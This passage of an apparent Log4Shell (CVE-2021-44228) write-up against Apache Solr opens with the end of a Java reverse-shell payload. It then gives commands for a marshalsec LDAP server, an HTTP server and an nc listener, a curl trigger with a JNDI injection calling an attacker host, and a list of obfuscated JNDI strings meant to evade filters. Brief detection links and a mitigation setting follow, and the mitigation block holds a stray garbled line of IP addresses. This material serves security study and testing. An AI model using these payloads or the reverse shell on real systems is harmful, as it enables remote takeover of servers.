<span class="w"> </span><span class="n">InputStream</span><span class="w"> </span><span class="n">pi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">p</span><span class="p">.</span><span class="na">getInputStream</span><span class="p">(),</span><span class="w"> </span><span class="n">pe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">p</span><span class="p">.</span><span class="na">getErrorStream</span><span class="p">(),</span><span class="w"> </span><span class="n">si</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="na">getInputStream</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">OutputStream</span><span class="w"> </span><span class="n">po</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">p</span><span class="p">.</span><span class="na">getOutputStream</span><span class="p">(),</span><span class="w"> </span><span class="n">so</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="na">getOutputStream</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">s</span><span class="p">.</span><span class="na">isClosed</span><span class="p">())</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="na">available</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">so</span><span class="p">.</span><span class="na">write</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="na">read</span><span class="p">());</span><span class="w"></span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">pe</span><span class="p">.</span><span class="na">available</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">so</span><span class="p">.</span><span class="na">write</span><span class="p">(</span><span class="n">pe</span><span class="p">.</span><span class="na">read</span><span class="p">());</span><span class="w"></span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">si</span><span class="p">.</span><span class="na">available</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">po</span><span class="p">.</span><span class="na">write</span><span class="p">(</span><span class="n">si</span><span class="p">.</span><span class="na">read</span><span class="p">());</span><span class="w"></span>
<span class="w"> </span><span class="n">so</span><span class="p">.</span><span class="na">flush</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">po</span><span class="p">.</span><span class="na">flush</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">Thread</span><span class="p">.</span><span class="na">sleep</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">p</span><span class="p">.</span><span class="na">exitValue</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="n">Exception</span><span class="w"> </span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">p</span><span class="p">.</span><span class="na">destroy</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="na">close</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="n">Exception</span><span class="w"> </span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Run the LDAP, HTTP and reverse shell</li>
</ul>
<div class="codehilite"><pre><span></span><code>java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer <span class="s2">&quot;http://</span><span class="nv">$ATTACKER_IP</span><span class="s2">:8000/#Exploit&quot;</span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code>php -S <span class="m">0</span>.0.0.0:8000
</code></pre></div>
<div class="codehilite"><pre><span></span><code>nc -lvnp <span class="m">4449</span>
</code></pre></div>
<ul>
<li>Trigger via <code>curl 'http://$TARGET:8983/solr/admin/cores?foo=$\{jndi:ldap://$ATTACKER_IP:1389/Exploit\}'</code></li>
</ul>
<h2 id="detection">Detection</h2>
<ul>
<li><a href="https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes.git">Log4Shell-Hashes</a></li>
<li><a href="https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228">Vulnerable Class + Jar hashes</a></li>
<li><a href="https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/">reddit mega thread</a></li>
<li>
<p><a href="https://github.com/darkarnium/CVE-2021-44228">Yara rules</a></p>
</li>
<li>
<p>Parse logs for <code>jndi</code></p>
</li>
</ul>
<h2 id="obfuscation">Obfuscation</h2>
<ul>
<li>Possible bypasses are as follows</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="si">${${</span><span class="nv">env</span><span class="p">:</span><span class="nv">ENV_NAME</span><span class="k">:-</span><span class="nv">j</span><span class="si">}</span><span class="nv">ndi</span><span class="si">${</span><span class="nv">env</span><span class="p">:</span><span class="nv">ENV_NAME</span><span class="k">:-</span><span class="p">:</span><span class="si">}${</span><span class="nv">env</span><span class="p">:</span><span class="nv">ENV_NAME</span><span class="k">:-</span><span class="nv">l</span><span class="si">}</span><span class="nv">dap</span><span class="si">${</span><span class="nv">env</span><span class="p">:</span><span class="nv">ENV_NAME</span><span class="k">:-</span><span class="p">:</span><span class="si">}</span><span class="p">//attackerendpoint.com/</span><span class="si">}</span>
<span class="si">${${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">j</span><span class="si">}</span><span class="nv">ndi</span><span class="p">:</span><span class="si">${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">l</span><span class="si">}${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">d</span><span class="si">}</span><span class="nv">a</span><span class="si">${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">p</span><span class="si">}</span><span class="p">://attackerendpoint.com/</span><span class="si">}</span>
<span class="si">${${</span><span class="nv">upper</span><span class="p">:</span><span class="nv">j</span><span class="si">}</span><span class="nv">ndi</span><span class="p">:</span><span class="si">${</span><span class="nv">upper</span><span class="p">:</span><span class="nv">l</span><span class="si">}${</span><span class="nv">upper</span><span class="p">:</span><span class="nv">d</span><span class="si">}</span><span class="nv">a</span><span class="si">${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">p</span><span class="si">}</span><span class="p">://attackerendpoint.com/</span><span class="si">}</span>
<span class="si">${${</span><span class="p">:</span><span class="k">:-</span><span class="nv">j</span><span class="si">}${</span><span class="p">:</span><span class="k">:-</span><span class="nv">n</span><span class="si">}${</span><span class="p">:</span><span class="k">:-</span><span class="nv">d</span><span class="si">}${</span><span class="p">:</span><span class="k">:-</span><span class="nv">i</span><span class="si">}</span><span class="p">:</span><span class="si">${</span><span class="p">:</span><span class="k">:-</span><span class="nv">l</span><span class="si">}${</span><span class="p">:</span><span class="k">:-</span><span class="nv">d</span><span class="si">}${</span><span class="p">:</span><span class="k">:-</span><span class="nv">a</span><span class="si">}${</span><span class="p">:</span><span class="k">:-</span><span class="nv">p</span><span class="si">}</span><span class="p">://attackerendpoint.com/z</span><span class="si">}</span>
<span class="si">${${</span><span class="nv">env</span><span class="p">:</span><span class="nv">BARFOO</span><span class="k">:-</span><span class="nv">j</span><span class="si">}</span><span class="nv">ndi</span><span class="si">${</span><span class="nv">env</span><span class="p">:</span><span class="nv">BARFOO</span><span class="k">:-</span><span class="p">:</span><span class="si">}${</span><span class="nv">env</span><span class="p">:</span><span class="nv">BARFOO</span><span class="k">:-</span><span class="nv">l</span><span class="si">}</span><span class="nv">dap</span><span class="si">${</span><span class="nv">env</span><span class="p">:</span><span class="nv">BARFOO</span><span class="k">:-</span><span class="p">:</span><span class="si">}</span><span class="p">//attackerendpoint.com/</span><span class="si">}</span>
<span class="si">${${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">j</span><span class="si">}${</span><span class="nv">upper</span><span class="p">:</span><span class="nv">n</span><span class="si">}${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">d</span><span class="si">}${</span><span class="nv">upper</span><span class="p">:</span><span class="nv">i</span><span class="si">}</span><span class="p">:</span><span class="si">${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">r</span><span class="si">}</span><span class="nv">m</span><span class="si">${</span><span class="nv">lower</span><span class="p">:</span><span class="nv">i</span><span class="si">}}</span>://attackerendpoint.com/<span class="o">}</span>
<span class="si">${${</span><span class="p">:</span><span class="k">:-</span><span class="nv">j</span><span class="si">}</span><span class="nv">ndi</span><span class="p">:</span><span class="nv">rmi</span><span class="p">://attackerendpoint.com/</span><span class="si">}</span>
</code></pre></div>
<h2 id="mitgation">Mitgation</h2>
<ul>
<li><a href="https://solr.apache.org/security.html">Apache Solr security news</a></li>
<li>Add the following line to <code>solr.in.sh</code></li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="n">SOLR_OPTS</span><span class="o">=</span><span class="s">&quot;$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true&quot;</span><span class="w"></span>
<span class="mf">10.10.90.21210.10.90.212</span><span class="w"></span>
</code></pre></div>
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